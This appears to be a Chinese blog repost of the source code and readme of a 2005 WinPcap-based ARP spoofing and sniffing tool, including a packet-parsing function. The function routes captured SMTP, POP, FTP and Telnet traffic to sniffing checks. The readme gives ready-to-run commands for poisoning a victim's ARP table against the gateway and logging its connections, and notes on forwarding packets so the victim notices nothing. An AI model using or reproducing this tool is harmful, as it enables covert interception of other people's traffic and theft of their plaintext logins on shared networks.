SNIFFER::GetLastError(int errorcode) {return SnifferError[errorcode]; }//分析從winpcap捕獲的數據包 int SNIFFER::AnalysePacket(char *buffer) {int totalbytes,datalen,HeaderLen,retcode;bool can=true;retcode=0;IP_HEADER *IpHeader;TCP_HEADER *TcpHeader;UDP_HEADER *UdpHeader;ICMP_HEADER *IcmpHeader;ZeroMemory((char *)&m_PI,sizeof(m_PI));m_PI.DataLen=0;strcpy(m_PI.DestIp,"-");strcpy(m_PI.DestPort,"-");strcpy(m_PI.FromIp,"-");strcpy(m_PI.FromPort,"-");memset(m_PI.PacketData,0,sizeof(m_PI.PacketData));memset(m_PI.Protocol,0,sizeof(m_PI.Protocol));char *pdata;IpHeader = (IP_HEADER *)buffer;sprintf(m_PI.Protocol, "%s", GetProtocol((unsigned char)IpHeader->Protocol));sprintf(m_PI.FromIp, "%d.%d.%d.%d", IpHeader->FromIP.address[0], IpHeader->FromIP.address[1], IpHeader->FromIP.address[2], IpHeader->FromIP.address[3]);sprintf(m_PI.DestIp,"%d.%d.%d.%d", IpHeader->ToIP.address[0],IpHeader->ToIP.address[1],IpHeader->ToIP.address[2],IpHeader->ToIP.address[3]);totalbytes = ntohs(IpHeader->TotalLen);HeaderLen = (IpHeader->VersionHdl&0x0f)*4;totalbytes -= HeaderLen;switch(IpHeader->Protocol){case IPPROTO_TCP://printf("tcp\n");TcpHeader = (TCP_HEADER *)(buffer + HeaderLen);HeaderLen = ((TcpHeader->HeaderLen)>>4) * 4;sprintf(m_PI.FromPort, "%d", ntohs(TcpHeader->FromPort));sprintf(m_PI.DestPort, "%d", ntohs(TcpHeader->ToPort));pdata = (char *)TcpHeader + HeaderLen;datalen = totalbytes-HeaderLen;memcpy(m_PI.PacketData, pdata, datalen);break;case IPPROTO_UDP://printf("udp\n");UdpHeader=(UDP_HEADER *)(buffer+HeaderLen);datalen=totalbytes-UDP_HEADER_LEN;sprintf(m_PI.FromPort,"%d",ntohs(UdpHeader->FromPort));sprintf(m_PI.DestPort,"%d",ntohs(UdpHeader->ToPort));pdata=(char *)UdpHeader+UDP_HEADER_LEN;memcpy(m_PI.PacketData,pdata,datalen);break;case IPPROTO_ICMP://printf("icmp\n");IcmpHeader=(ICMP_HEADER *)(buffer+HeaderLen);datalen=totalbytes-ICMP_HEADER_LEN;pdata=(char *)IcmpHeader+ICMP_HEADER_LEN;//PacketData.Format("type:%d code:%d data:%s",IcmpHeader->Type,IcmpHeader->Code,pdata);memcpy(m_PI.PacketData,pdata,datalen);break;default://printf("default\n");datalen=totalbytes;pdata=buffer+HeaderLen;//memcpy(m_PI.PacketData,pdata,datalen);break;}m_PI.DataLen = datalen;m_PI.Checked = false; try{if(sniffuserinfo.PacketSniffStart && m_PI.DataLen!=0) SaveSnifferData();//自動分析SMTP協議的數據包if(sniffuserinfo.SmtpSniffStart && strcmp(m_PI.DestPort,"25")==0 && m_PI.DataLen!=0) CheckSmtpPacket();//自動分析POP協議的數據包else if(sniffuserinfo.PopSniffStart && strcmp(m_PI.DestPort,"110")==0 && m_PI.DataLen!=0) CheckPopPacket();//自動分析FTP協議的數據包else if(sniffuserinfo.FtpSniffStart && strcmp(m_PI.DestPort,"21")==0 && m_PI.DataLen!=0) CheckFtpPacket();//自動分析TELNET協議的數據包else if(sniffuserinfo.TelnetSniffStart && strcmp(m_PI.DestPort,"23")==0 && m_PI.DataLen!=0) CheckTelnetPacket();else;}catch(...){//printf("\r\n+Check Packet Err...\r\n");return -1;} return retcode; }
StdAfx.h
#include <stdio.h> #include <afxwin.h> #include <winsock2.h> #include <afxdisp.h> #include "Winsvc.h" #include <io.h> #include <fcntl.h> #include <conio.h>
StdAfx.cpp
// stdafx.cpp : source file that includes just the standard includes // arp.pch will be the pre-compiled header // stdafx.obj will contain the pre-compiled type information#include "stdafx.h"// TODO: reference any additional headers you need in STDAFX.H // and not in this file
================================================================================
? ? ? ? ? ? ? ? Arp cheat and sniffer V2.1?
? ? ? ? ? ? ? ? Powered by shadow @2005/7/15
? ? ? ? ? ? ? ? my web:http://www.codehome.6600.org
? ? ? ? ? ? ? ? Has bugs please mail to:dreamshadow@mail.sdu.edu.cn
================================================================================
Usage:
-si ? ? ? ? ? ? ? ? ? ? 源ip
-di ? ? ? ? ? ? ? ? ? ? 目的ip ? ? ? *代表所有,多項用,號分割
-sp ? ? ? ? ? ? ? ? ? ? 源端口
-dp ? ? ? ? ? ? ? ? ? ? 目的端口 ? ? *代表所有
-w ? ? ? ? ? ? ? ? ? ? ?嗅探方式,1代表單向嗅探[si->di],0代表雙向嗅探[si<->di]
-p ? ? ? ? ? ? ? ? ? ? ?嗅探協議[TCP,UDP,ICMP]大寫
-m ? ? ? ? ? ? ? ? ? ? ?最大記錄文件,以M為單位
-o ? ? ? ? ? ? ? ? ? ? ?文件輸出
-hex ? ? ? ? ? ? ? ? ? ?十六進制輸出到文件
-unecho ? ? ? ? ? ? ? ? 不回顯
-unfilter ? ? ? ? ? ? ? 不過慮0字節數據包
-low ? ? ? ? ? ? ? ? ? ?粗略嗅探,丟包率高,cpu利用率低 基本0
-timeout ? ? ? ? ? ? ? ?嗅探超時,除非網絡狀況比較差否則請不要調高,默認為120秒
-sniffsmtp ? ? ? ? ? ? ?嗅探smtp
-sniffpop ? ? ? ? ? ? ? 嗅探pop
-sniffpost ? ? ? ? ? ? ?嗅探post
-sniffftp ? ? ? ? ? ? ? 嗅探ftp
-snifftelnet ? ? ? ? ? ?嗅探telnet,以上5個嗅探不受參數si,sp,di,dp,w,p影響.
-sniffpacket ? ? ? ? ? ?規則嗅探數據包,受參數si,sp,di,dp,w,p影響.
-sniffall ? ? ? ? ? ? ? 開啟所有嗅探
-onlycheat ? ? ? ? ? ? ?只欺騙
-cheatsniff ? ? ? ? ? ? 欺騙并且嗅探
-reset ? ? ? ? ? ? ? ? ?欺騙后恢復
-g ? ? ? ? ? ? ? ? ? ? ?[網關ip]
-c ? ? ? ? ? ? ? ? ? ? ?[欺騙者ip] [mac]
-t ? ? ? ? ? ? ? ? ? ? ?[受騙者ip]
-time ? ? ? ? ? ? ? ? ? [欺騙次數]
Example:
?arpsniffer -p TCP -dp 25,110 -o f:\1.txt -m 1 -sniffpacket
? ?嗅探指定規則數據包并保存到文件
?arpsniffer -sniffall -cheatsniff -t 127.0.0.1 -g 127.0.0.254
? ?欺騙并且嗅探127.0.0.1與外界的通訊,輸出到屏幕
?arpsniffer -onlycheat -t 127.0.0.1 -c 127.0.0.2 002211445544 -time 100 -reset
? ?對目標欺騙一百次,欺騙后恢復
Note:
? ? ? ? Program for 阿黛,I am very sorry for do this so late.Forgive me~~ :)
================================================================================
幫忙測試一下吧,有bug聯系我
我本機測試的時候發現了些bug,不知道是不是我們這邊是ipv6的原因
程序和代碼都在附件里~
注意程序運行的時候不要用arp.exe的名字,這會產生一個錯誤,改成任意其他名字就行了
典型的例子如下,譬如我要嗅探本網段中192.168.0.54這臺機子與外網段tcp的連接情況,可以這樣用:
arpsf -cheatsniff -t 192.168.0.54 -g 192.168.0.254 -sniffpacket -p TCP -dp 80,25,23,110 -o d:\siff.txt -w 0 -m 1
釋意:
嗅探192.168.0.54與外網的tcp連接情況并指定目的端口是80,23,25,110,嗅探方式是雙向嗅探,最大記錄文件是1M,輸出到d盤sniff.txt文件中。其中192.168.0.254是網關的地址!也可以改成同網段中其他的地址,那就是網內嗅探了!
發現的以下bug:
1.本機運行該程序時會使自己上不了網,可能是數據包轉發的時候出了點問題。[了解的告訴我一下] --->已修復
2.在欺騙嗅探的時候會降低對方的網速,程序執行還有優化的地方,希望大家提出比較好的解決方法。--->現在最快可以達到350包/s
3.修復了包處理的bug
--》其他bug等待大家發現。。。
幾點不足:
由于時間倉促,只能分析tcp,udp和icmp三種數據包,等以后有時間了我會把其他包的分析都添上去的~~
注意事項:
在運行該程序前,請先安裝winpcap驅動!
================================================================================
編程中遇到的問題:
1.數據包構造問題
? 由于數據包的大小是固定,多一個字節都會出錯,因此在構造結構體的時候尤其要小心,不要忘記vc中對結構體變量大小自動對齊這個問題;所謂自動對齊釋疑如下:
在vc里定義結構體的時候,在32bit的模式下,結構體中的變量內存會自動對齊,打個比方吧:[這個問題我是在安焦上看到的,剛好解決了我的arp發送問題]
例有如下結構體:
struct test{
char ch;
int len;
}a;
這個結構體的實際大小實際上是8個字節,因為在32bit下自動對齊,所以ch后面會多出3個字節。
如果不想自動對齊,可以在結構體的前后加上#pragma參數
例如做如下定義:
#pragma pack(push,1)
struct test{
char ch;
int len;
}a;
#pragma pack(pop)
此時的結構體a才是5個字節!
2.數據包轉發問題
? 這個在嗅探中是很重要,如果轉發不成功,對方就會斷網了。
? 這里具體的實現你們看代碼吧,我只講兩點
一、
? ?用winpacap轉發的時候注意這個函數的引用,PacketInitPacket(lpPacket, SZbuff, 60);
? ?在發包前初始化一次PacketInitPacket(lpPacket, SZbuff, 60);在嗅探前初始化回來PacketInitPacket(lpPacket,buffer,256000);
? ?如果要嗅探數據包要確保內存足夠大,基本256000就行了。
二、注意在轉發數據包的時候不要對自己發出去的然后又攔截下來的數據包重復捕獲,否則就陷入死循環了,具體看我代碼中的
IsInvalidPacket()
這個函數的用法!
主要的就這些問題了,希望對大家有所幫助。:)
//修復的bug :
2003下無法獲得adapter list
優化了單雙向嗅探流程
修復欺騙發包bug
修復存儲數據時的一個bug
powered by shadow QQ:176017352 ?2005/7/15
================================================================================
申明:
? ? 由于使用本軟件造成的不良后果,請使用者自負!
總結
以上是生活随笔為你收集整理的局域网arpsniffer源码剖析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 批处理执行sql语句
- 下一篇: sql server中的 SET NOC